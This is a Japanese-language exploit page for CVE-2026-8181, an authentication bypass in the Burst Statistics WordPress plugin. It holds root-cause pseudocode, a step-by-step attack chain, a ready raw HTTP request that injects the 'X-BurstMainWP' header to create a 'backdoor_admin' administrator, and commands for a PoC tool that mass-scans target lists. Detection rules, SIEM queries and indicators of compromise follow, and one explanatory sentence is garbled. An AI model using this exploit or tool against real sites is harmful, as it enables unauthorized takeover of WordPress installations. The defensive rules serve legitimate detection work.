## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SQUAMITY-CVE-2026-8181-POC
# 🚨 CVE-2026-8181 | Burst Statistics 認証バイパス
 -brightgreen.svg?style=for-the-badge)   
> [!CAUTION] **重大警告:** この脆弱性により、**認証されていないリモート攻撃者** がカスタムHTTPヘッダーを注入するだけで認証をバイパスし、対象のWordPressサイトで完全な**管理者権限** を取得できます。このCVEは現在**実際の環境で活発に悪用** されています。
* * *
## 📑 目次
1. エグゼクティブサマリー
2. 🔬 詳細分析: 根本原因解析
3. ⚔️ 攻撃プレイブック: 悪用
4. 🛡️ 防御プレイブック: 検出と緩和
5. 🛠️ PoCツールの使い方
6. 参考文献と免責事項
* * *
## 📖 エグゼクティブサマリー
**CVE-2026-8181** は、**Burst Statistics** WordPressプラグイン(バージョン `3.4.0` から `3.4.1.1`)に影響する深刻な認証バイパス脆弱性です。この欠陥は、プラグインのMainWPプロキシ統合に存在します。`plugins_loaded` フックの早い段階でのアプリケーションパスワードの不適切な検証により、プラグインは無効な資格情報であっても、`X-BurstMainWP: 1` ヘッダーを含むREST APIリクエストに対して誤って管理コンテキストを付与します。
これにより、単純で認証されていないHTTPリクエストが、すべての標準的なWordPress認証メカニズムをバイパスして、完全な管理者権限の乗っ取りに変わります。
* * *
## 🔬 詳細分析: 根本原因解析
単一のヘッダーがどのようにしてシステム全体の鍵を渡すのかを理解するには、プラグインの認証ハンドラー内のPHPロジックを解析する必要があります。
### 脆弱なロジックフロー
この脆弱性は、`includes/Frontend/class-mainwp-proxy.php` 内の `is_mainwp_authenticated()` メソッドにおける条件分岐の不適切な処理に起因します。
1. **トリガー:** プラグインは `plugins_loaded` フックに優先度 `9` で `init()` を登録します。これはWordPressのライフサイクルにおいて**早すぎる** タイミングです。
2. **フック:** リクエストに `X-BurstMainWP: 1` ヘッダーが含まれている場合、`has_admin_access()` は認証を `is_mainwp_authenticated()` に委譲します。
3. **コア呼び出し:** メソッドは `Authorization` ヘッダーを読み取り、資格情報をWordPressコアの `wp_authenticate_application_password()` に転送します。
4. **致命的な欠陥 (CWE-287):** フックが早すぎるためREST APIがまだ `application_password_is_api_request` フィルターを `true` に設定しておらず、コア関数は `WP_Error` オブジェクトの代わりに **`null`** を返します。
5. **バイパス:** プラグインは `is_wp_error( $user )` のみをチェックします。 は ため、ガードを通過します。
* * *
### 疑似コード表現
root@kitploit:~
// Burst Statistics <= 3.4.1.1 における脆弱なコードの簡略化表現
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // 明示的な認証失敗を正しく処理
}
// 🚨 致命的な欠陥 🚨
// アプリケーションパスワードが提供されていない、またはAPIリクエストがまだフラグ設定されていない場合、
// wp_authenticate_application_password は NULL を返します。
// コードは NULL のチェックに失敗しています!
if ( $user === null ) {
// 安全に失敗する代わりに、この安全でないブランチにフォールスルーします:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: 管理コンテキストが付与されました!
return true;
}
* * *
## ⚔️ 攻撃プレイブック: 悪用
このセクションは**レッドチーム** および**許可されたペネトレーションテスター** 向けです。
### 攻撃チェーン
1. **偵察:** 対象が Burst Statistics <= 3.4.1.1 を実行していることを特定します(例: `/wp-content/plugins/burst-statistics/readme.txt` 経由)。
2. **ユーザー列挙:** 有効な管理者ユーザー名を見つけます。WordPressのREST APIは、しばしば `GET /wp-json/wp/v2/users` 経由で漏洩します。ブロックされている場合は、投稿者アーカイブのトリック `/?author=1` を使用します。
3. **ペイロード構築:** 新しいユーザーを作成するためのHTTP POSTリクエストを作成します: `POST /wp-json/wp/v2/users`。
4. **ヘッダー注入:** マジックヘッダーを注入します:
* `X-BurstMainWP: 1`
* `Authorization: Basic <base64(admin_username:fake_password)>`
5. **実行:** サーバーがリクエストを処理し、欠陥のある `null` チェックにヒットし、リクエストを管理コンテキストに昇格させます。新しい管理者ユーザーが作成されます。
* * *
### 生のHTTPリクエスト例
root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "some-email@example.com",
"roles": ["administrator"]
}
> [!IMPORTANT] **環境上の注意:** このエクスプロイトが成功するには `Authorization` ヘッダーがPHPに到達する必要があります。
>
> * **Nginx / LiteSpeed / パーマリンクがPrettyなApache:** ヘッダーは転送されます。エクスプロイトは**成功** します。
> * **パーマリンクがPlain(デフォルト)のApache:** ヘッダーはWebサーバーによって静かに削除されます。エクスプロイトは**失敗** します。
>
* * *
## 🛡️ 防御プレイブック: 検出と緩和
このセクションは**ブルーチーム** 、**SOCアナリスト** 、および**システム管理者** 向けです。
### 🕵️ 検出戦略
#### 1\. Webアプリケーションファイアウォール(WAF)ルール
エッジで特定のヘッダーをブロックまたは監視します。
**ModSecurity / OWASP CRS ルール:**
root@kitploit:~
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics 認証バイパス試行', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
**Cloudflare WAF カスタムルール:**
`(http.request.headers["X-BurstMainWP"] eq "1")`
* * *
#### 2\. ログ分析とSIEMクエリ
REST APIユーザー作成と組み合わせたヘッダーの存在をWebサーバーログで検索します。
**Splunk / ELK クエリ:**
root@kitploit:~
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
* * *
#### 3\. 侵害指標(IoC)
侵害を疑う場合、以下の侵害後の痕跡を探します:
* **新しい管理者ユーザー:** REST APIを介して作成された `administrator` ロールを持つユーザーが `wp_users` テーブルに存在しないか確認。
* **不審なプラグイン:** `wp-content/plugins/` 内に不正なアップロード(正規プラグインを装ったウェブシェルが多い)がないか確認。
* **変更されたファイル:** `wp-content/themes/` またはコアファイルへの不正な変更がないか確認。
* * *
### 🛡️ 緩和と復旧
> [!IMPORTANT] **即時対応必須:** 脆弱なバージョンを実行している場合は、以下の緩和策のいずれかを直ちに適用してください。
* * *
## 🛠️ PoCツールの使い方
このリポジトリには、**許可されたラボ環境** で脆弱性を検証するためのPython自動化ツール `CVE-2026-8181.py` が含まれています。
### 機能
* * *
### クイックスタート
root@kitploit:~
# 1. 依存関係のインストール
pip3 install requests urllib3
# 2. 単一サイトの偵察と新しい管理者の自動プロビジョニング
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. 成功ファイルを用いたバッチスキャン
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. ホスト別レポートを用いたバッチスキャン
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
* * *
## 📚 参考文献とクレジット
* **最初の発見者:** Chloe Chamberland & PRISM (Wordfence Threat Intelligence)
* **CVEレコード:** MITRE CVE-2026-8181
* **NVD詳細:** NIST NVD
* **プラグインディレクトリ:** Burst Statistics
* * *
## ⚖️ 免責事項
> [!WARNING] **教育および許可されたテスト目的のみに使用してください。**
>
> このリポジトリで提供される情報は、教育目的、セキュリティ研究、および許可されたペネトレーションテストを目的としています。システム所有者からの明示的な書面による許可なしにシステムの脆弱性を悪用することは**違法** であり、国際的なサイバー法に違反します。
>
> このリポジトリの作成者および貢献者は**一切の責任を負わず** 、本ツールまたは情報の誤用、損害、または法的結果について責任を負いません。**常に責任を持って倫理的にハッキングしてください。**
* * *
Squamity が ❤️ を込めて制作 | 防御および攻撃教育のために維持されています